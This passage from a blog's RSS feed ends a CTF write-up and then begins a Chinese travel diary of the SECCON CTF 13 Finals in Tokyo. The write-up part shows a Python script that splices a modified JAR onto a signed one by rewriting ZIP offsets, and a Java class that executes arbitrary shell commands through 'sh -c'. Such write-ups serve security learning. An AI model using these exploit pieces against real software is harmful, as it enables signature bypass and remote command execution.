<span><span style="color: #D6DEEB">cd_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">.</span><span style="color: #B2CCD6">from_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">16</span><span style="color: #82AAFF">:eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">20</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">new_cd_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (cd_offset </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> shift).</span><span style="color: #B2CCD6">to_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">4</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">exp_list[eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">:eocd_start</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">20</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> new_cd_offset</span></span>
<span></span>
<span><span style="color: #D6DEEB">cd_start </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> cd_offset</span></span>
<span><span style="color: #D6DEEB">pos </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> cd_start</span></span>
<span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> pos </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> eocd_start:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> exp[pos:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">PK</span><span style="color: #F78C6C">\x01\x02</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        lfh_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">.</span><span style="color: #B2CCD6">from_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">42</span><span style="color: #82AAFF">:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">46</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        new_lfh_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (lfh_offset </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> shift).</span><span style="color: #B2CCD6">to_bytes</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">4</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">little</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        exp_list[pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">42</span><span style="color: #D6DEEB">:pos</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">46</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> new_lfh_offset</span></span>
<span><span style="color: #D6DEEB">        pos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">46</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        pos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span></span>
<span><span style="color: #D6DEEB">modified_exp </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp_list</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">inner.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">wb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    f.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">signed</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    f.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">modified_exp</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Java 代码块" data-v-c675dba6>Java</h3><ile-root id="ile-54"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-54--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">import</span><span style="color: #403F53"> </span><span style="color: #994CC3">java.io.ByteArrayOutputStream</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #994CC3">public</span><span style="color: #403F53"> </span><span style="color: #994CC3">class</span><span style="color: #403F53"> </span><span style="color: #111111">Tool</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">public</span><span style="color: #403F53"> </span><span style="color: #994CC3">static</span><span style="color: #403F53"> </span><span style="color: #994CC3">String</span><span style="color: #403F53"> </span><span style="color: #4876D6">run</span><span style="color: #111111">(</span><span style="color: #994CC3">String</span><span style="color: #403F53"> cmd</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">try</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">ProcessBuilder</span><span style="color: #403F53"> </span><span style="color: #4876D6">processBuilder</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">ProcessBuilder</span><span style="color: #111111">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">sh</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">, </span><span style="color: #111111">&quot;</span><span style="color: #C96765">-c</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">, cmd</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">Process</span><span style="color: #403F53"> </span><span style="color: #4876D6">process</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">processBuilder</span><span style="color: #403F53">.</span><span style="color: #4876D6">start</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">ByteArrayOutputStream</span><span style="color: #403F53"> </span><span style="color: #4876D6">bos</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">ByteArrayOutputStream</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">bos</span><span style="color: #403F53">.</span><span style="color: #4876D6">write</span><span style="color: #111111">(</span><span style="color: #4876D6">String</span><span style="color: #403F53">.</span><span style="color: #4876D6">format</span><span style="color: #111111">(</span><span style="color: #111111">&quot;</span><span style="color: #AA0982">\n</span><span style="color: #C96765">$ %s</span><span style="color: #AA0982">\n</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, cmd</span><span style="color: #111111">)</span><span style="color: #403F53">.</span><span style="color: #4876D6">getBytes</span><span style="color: #111111">())</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">process</span><span style="color: #403F53">.</span><span style="color: #4876D6">getInputStream</span><span style="color: #111111">()</span><span style="color: #403F53">.</span><span style="color: #4876D6">transferTo</span><span style="color: #111111">(</span><span style="color: #403F53">bos</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">process</span><span style="color: #403F53">.</span><span style="color: #4876D6">getErrorStream</span><span style="color: #111111">()</span><span style="color: #403F53">.</span><span style="color: #4876D6">transferTo</span><span style="color: #111111">(</span><span style="color: #403F53">bos</span><span style="color: #111111">)</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">bos</span><span style="color: #403F53">.</span><span style="color: #4876D6">toString</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        } </span><span style="color: #994CC3">catch</span><span style="color: #403F53"> </span><span style="color: #111111">(</span><span style="color: #994CC3">Exception</span><span style="color: #403F53"> e</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">e</span><span style="color: #403F53">.</span><span style="color: #4876D6">getMessage</span><span style="color: #111111">()</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">java.io.ByteArrayOutputStream</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #C792EA">public</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">class</span><span style="color: #D6DEEB"> </span><span style="color: #FFCB8B">Tool</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">public</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">static</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">String</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">run</span><span style="color: #D9F5DD">(</span><span style="color: #C792EA">String</span><span style="color: #D6DEEB"> </span><span style="color: #D7DBE0">cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">try</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">ProcessBuilder</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">processBuilder</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">ProcessBuilder</span><span style="color: #D9F5DD">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">sh</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">-c</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF">, cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">Process</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">processBuilder</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">start</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">ByteArrayOutputStream</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">ByteArrayOutputStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">write</span><span style="color: #D9F5DD">(</span><span style="color: #C5E478">String</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">format</span><span style="color: #D9F5DD">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #F78C6C">\n</span><span style="color: #ECC48D">$ %s</span><span style="color: #F78C6C">\n</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, cmd</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getBytes</span><span style="color: #D9F5DD">())</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getInputStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">transferTo</span><span style="color: #D9F5DD">(</span><span style="color: #D6DEEB">bos</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">process</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getErrorStream</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">transferTo</span><span style="color: #D9F5DD">(</span><span style="color: #D6DEEB">bos</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bos</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">toString</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        } </span><span style="color: #C792EA">catch</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">(</span><span style="color: #C792EA">Exception</span><span style="color: #D6DEEB"> </span><span style="color: #D7DBE0">e</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">e</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">getMessage</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label">Footnotes</h2>
<ol>
<li id="user-content-fn-mizu-2">
<p>I created this challenge before <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations">this blog post</a> was published. I did notice it before the event, but apparently I did not read it very carefully :( <a href="#user-content-fnref-mizu-2" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a> <a href="#user-content-fnref-mizu-2-2" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩<sup>2</sup></a></p>
</li>
<li id="user-content-fn-webextension-polyfill">
<p>The original version of this challenge was a line <code>const<wbr> <wbr>api<wbr> = <wbr>globalThis<wbr>.<wbr>browser<wbr> || <wbr>globalThis<wbr>.<wbr>chrome</code> instead of the library, but I thought it was too obvious and then found that <code>webextension<wbr>-<wbr>polyfill</code> was also vulnerable. <a href="#user-content-fnref-webextension-polyfill" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-gpt-viterbi">
<p>I have actually implemented something similar before. It was able to decrypt MTP for various file types besides natural language. Specifically, it was used to decrypt the Conti ransomware. <a href="#user-content-fnref-gpt-viterbi" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-finder">
<p>This CVE is found by me. <a href="#user-content-fnref-finder" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[SECCON CTF 13 Finals 游记]]></title>
            <link>https://ouuan.moe/post/2025/02/seccon-13-finals</link>
            <guid>https://ouuan.moe/post/2025/02/seccon-13-finals</guid>
            <pubDate>Tue, 04 Mar 2025 13:37:49 GMT</pubDate>
            <description><![CDATA[










































































































<p><s>能不能润日住在月岛<span class="mojikumi-line-start">（</span>不是</s></p>
]]></description>
            <content:encoded><![CDATA[










































































































<p><s>能不能润日住在月岛<span class="mojikumi-line-start">（</span>不是</s></p>

<p><span class="mojikumi-line-start">（</span>107 图预警<span class="mojikumi-line-end">，</span>webp 总大小 97MB<span class="mojikumi">。</span><span class="mojikumi-line-end">）</span></p>
<p><span class="mojikumi-line-start">（</span>文中所有拍摄于日本的照片都可以从 <a href="https://github.com/ouuan/blog-images/tree/master/2025/02">GitHub 上</a>下载带 GPS 信息<span class="mojikumi-line-start">（</span><code>exiftool -all= --gps:all -ext jpg .</code><span class="mojikumi-line-end">）</span>的原图<span class="mojikumi">。</span><span class="mojikumi-line-end">）</span></p>
<h2 id="day-0" class="heading"><a href="#day-0" class="heading-anchor" aria-label="章节： Day 0" tabindex="-1"></a><span>Day 0</span></h2>
<h3 id="出发" class="heading"><a href="#出发" class="heading-anchor" aria-label="章节： 出发" tabindex="-1"></a><span>出发</span></h3>
<p>离上次坐飞机已经五年半了<span class="mojikumi-line-end">，</span>这次还是国际<span class="mojikumi-line-end">，</span>本来还有点担心会不会不熟地方<span class="mojikumi-line-end">，</span>但实际上非常顺利<span class="mojikumi-line-end">，</span>除了一开始没带行李箱还排了 10min 托运的队然后被提醒直接找值班经理打印登机牌就行<span class="mojikumi-line-end">，</span>后面半小时就到登机口了<span class="mojikumi-line-end">，</span>过海关中国护照走快捷通道只用刷一下护照录个指纹<span class="mojikumi-line-end">，</span>所以不托运的话最极限 70min 到就够了<span class="mojikumi-line-start">（</span></p>
<p>航旅纵横的舱位图显示 18 排起是机翼<span class="mojikumi-line-end">，</span>选的 16 排<span class="mojikumi-line-end">，</span>身边的窗外是引擎<span class="mojikumi-line-end">，</span>还是挡到了一点<span class="mojikumi-line-end">，</span>靠前的那个窗户基本没挡到<span class="mojikumi-line-end">，</span>但不仅不方便看而且还有很明显的划痕<span class="mojikumi-line-end">。</span>可惜没看到富士山<span class="mojikumi-line-end">，</span>好像是没注意观察航线<span class="mojikumi-line-end">，</span>开始注意窗外的时候可能已经过了<span class="mojikumi-line-end">，</span>也可能是被云挡住了<span class="mojikumi-line-start">（</span>？<span class="mojikumi-line-end">，</span>但是上午走的大家拍到了<span class="mojikumi-line-end">；</span>反正我是来看月岛的不是来看山的<span class="mojikumi-line-start">（</span></p>
<p>听说国航有机上 Wi-Fi<span class="mojikumi-line-end">，</span>提供各种功能服务<span class="mojikumi-line-end">，</span>我还以为有互联网<span class="mojikumi-line-end">，</span>结果真的是只提供这些服务<span class="mojikumi-line-end">，</span>只有部分机型<span class="mojikumi-line-start">（</span>A350<span class="mojikumi-line-end">）</span>提供互联网<span class="mojikumi-line-end">。</span></p>
<p>到了之后先去买了 Welcome Suica<span class="mojikumi-line-end">，</span>只能选整千还不能退款<span class="mojikumi-line-end">，</span>本来觉得 2000 应该差不多了<span class="mojikumi-line-end">，</span>但是一害怕不够用就选了 3000<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">；</span>但之后才知道酒店早餐收费<span class="mojikumi-line-end">，</span>要去便利店买早餐<span class="mojikumi-line-end">，</span>也能用一点<span class="mojikumi-line-end">。</span></p>
<p>然后找了半天接水的地方<span class="mojikumi-line-end">，</span>这里差不多每个厕所都有直饮水<span class="mojikumi-line-end">，</span>但接水的地方很少<span class="mojikumi-line-end">。</span>找到之后看到它有个外盖<span class="mojikumi-line-end">，</span>感觉很迷惑<span class="mojikumi-line-end">，</span>轻轻拉了一下<span class="mojikumi-line-end">，</span>拉不开<span class="mojikumi-line-end">，</span>差点想去问 staff 了<span class="mojikumi-line-end">，</span>在小红书确认了一下<span class="mojikumi-line-end">，</span>这是正常的<span class="mojikumi-line-end">，</span>打开就行<span class="mojikumi-line-end">，</span>然后再稍微用了一点点力拉<span class="mojikumi-line-end">，</span>开了<span class="mojikumi-line-end">，</span>是磁吸的<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/hot-water.5f317702.webp" loading="lazy" src="/assets/hot-water.5f317702.webp" width="3072" height="4096" alt="有外盖的饮水机"></picture></p>
<p>因为懒直接买的移动的漫游套餐<span class="mojikumi-line-end">，</span>连上漫游后先试了下 google.com 可以访问<span class="mojikumi-line-end">，</span>还以为真的出国了<span class="mojikumi-line-end">，</span>结果 YouTube<span class="mojikumi-line-end">、</span>X<span class="mojikumi-line-end">、</span>Telegram 什么的都不行<span class="mojikumi-line-end">，</span>只能在 4G 下双倍延迟<span class="mojikumi-line-end">，</span>大概是不如流量卡<span class="mojikumi-line-end">；</span>在机场看到 Google Maps 加载不出来<span class="mojikumi-line-end">，</span>以为也是漫游的问题<span class="mojikumi-line-end">，</span>直到几个小时后才发现<span class="mojikumi-line-end">，</span>Google 的各种服务似乎都可以直连<span class="mojikumi-line-end">，</span>而之前没加载出来是因为 GPS 信号差<span class="mojikumi-line-end">，</span>没加载出起点的<span class="mojikumi-line-start">“</span>您的位置<span class="mojikumi">”</span><wbr><span class="mojikumi-line-start">（</span></p>
<p>好不容易加载出 Google Maps<span class="mojikumi-line-end">，</span>就见识到了东京轨道交通的神秘<span class="mojikumi-line-end">，</span>入口处写的品川·东银座·浅草·横滨方向<span class="mojikumi-line-end">，</span>我需要坐的是成田机场方向<span class="mojikumi-line-end">，</span>还以为走错了<span class="mojikumi-line-end">，</span>怀疑了一下人生之后决定先到站台再说<span class="mojikumi-line-end">，</span>结果发现没走错<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>没坐错真是太好了<span class="mojikumi-line-end">，</span>但还是 6 点才到月岛<span class="mojikumi-line-end">，</span>已经完全日落了<span class="mojikumi-line-start">（</span></p>
<h3 id="月岛（夜）" class="heading"><a href="#月岛（夜）" class="heading-anchor" aria-label="章节： 月岛（夜）" tabindex="-1"></a><span>月岛<span class="mojikumi-line-start">（</span>夜<span class="mojikumi-line-end">）</span></span></h3>
<p>部分参考资料<span class="mojikumi-line-end">：</span></p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/58128674"><span class="mojikumi-line-start">「</span>圣地巡礼<span class="mojikumi-line-end">」</span>三月的狮子——住在河边年轻棋士的故事 - 知乎</a></li>
<li><a href="https://goumolife.home.blog/2019/11/15/march-comes-in-like-a-lion-1-2/">[巡禮] 三月的獅子(1)-中央大橋<span class="mojikumi-line-end">、</span>佃島<span class="mojikumi-line-end">、</span>月島︱東京 – 狗摸生活札記</a></li>
<li><a href="https://www.bilibili.com/opus/180342275145689076">三月的狮子<span lang="ja">(三月のライオン)聖地巡礼</span> - 哔哩哔哩</a></li>
<li>
<span lang="ja"><span class="mojikumi-line-start">『</span>3月のライオン おさらい読本 初級編<span class="mojikumi-line-end">』</span></span>
</li>
</ul>
<p>本来想直接去<span lang="ja">もんじゃ太郎</span><span class="mojikumi-line-end">，</span>结果看到里面其乐融融一起吃饭的大家<span class="mojikumi-line-end">，</span>压力太大了<span class="mojikumi-line-end">，</span>就想晚点人少了再去<span class="mojikumi-line-end">，</span>先去巡礼<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/monja-taro.19fc9f77.webp" loading="lazy" src="/assets/monja-taro.19fc9f77.webp" width="3072" height="4096" alt="もんじゃ太郎"></picture></p>
<p>MOS &#x26; CAFE<span class="mojikumi-line-end">，</span>112 话零和三姐妹一起睡觉起来后就是去的这里吃<span class="mojikumi-line-end">，</span>而第 12 话遇到高桥那家是麦当劳<span class="mojikumi-line-end">，</span>这是两个不同的地方<span class="mojikumi-line-start">（</span>之前在一些游记看到说误以为自己搞错了原型<span class="mojikumi">）</span><span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/mos-cafe.a0604bde.webp" loading="lazy" src="/assets/mos-cafe.a0604bde.webp" width="3072" height="4096" alt="MOS &amp; CAFE"></picture></p>
<p>儿童乐园<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/children-park-1.5c7e0149.webp" loading="lazy" src="/assets/children-park-1.5c7e0149.webp" width="3072" height="4096" alt="月島三丁目児童遊園"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/children-park-2.05b1202d.webp" loading="lazy" src="/assets/children-park-2.05b1202d.webp" width="4096" height="3072" alt="月島三丁目児童遊園"></picture></p>
<p>一开始在商店街还没啥感觉<span class="mojikumi-line-end">，</span>走到河畔<span class="mojikumi-line-end">，</span>看到河面<span class="mojikumi-line-end">、</span>步道和中央大桥<span class="mojikumi-line-end">，</span>一下子非常感动<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-1.ddcc305d.webp" loading="lazy" src="/assets/tsukishima-riverside-1.ddcc305d.webp" width="4096" height="3072" alt="月岛河畔"></picture></p>
<p><span class="mojikumi-line-start">（</span>较近的那个是佃大桥<span class="mojikumi-line-end">，</span>后面是中央大桥的桥塔<span class="mojikumi">。</span><span class="mojikumi-line-end">）</span></p>
<p><picture><img type="image/webp" srcset="/assets/tsukishima-riverside-2.7c2a14f9.webp" loading="lazy" src="/assets/tsukishima-riverside-2.7c2a14f9.webp" width="4096" height="3072" alt="月岛河畔"></picture></p>
<p>住吉水门<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/watergate.ebbf652d.webp" loading="lazy" src="/assets/watergate.ebbf652d.webp" width="3072" height="4096" alt="住吉水门"></picture></p>
<p>三日月堂的原型<span class="mojikumi-line-end">，</span>天安<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/tenyasu.a2ae4876.webp" loading="lazy" src="/assets/tenyasu.a2ae4876.webp" width="3072" height="4096" alt="天安"></picture></p>
<p>从天安门口沿河岸走 100m 就到了鸟居<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/tori-1.422015fb.webp" loading="lazy" src="/assets/tori-1.422015fb.webp" width="3072" height="4096" alt="鸟居"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tori-2.6a2e6574.webp" loading="lazy" src="/assets/tori-2.6a2e6574.webp" width="4096" height="3072" alt="鸟居"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tori-3.40e1f2ca.webp" loading="lazy" src="/assets/tori-3.40e1f2ca.webp" width="3072" height="4096" alt="鸟居"></picture></p>
<p>旁边这个眼熟的建筑其实<span class="mojikumi-line-start">（</span>下面<span class="mojikumi-line-end">）</span>是厕所<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/wc.be95f120.webp" loading="lazy" src="/assets/wc.be95f120.webp" width="3072" height="4096" alt="公共厕所"></picture></p>
<p>佃公园<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/tsukuda-park.649aa601.webp" loading="lazy" src="/assets/tsukuda-park.649aa601.webp" width="4096" height="3072" alt="佃公园"></picture></p>
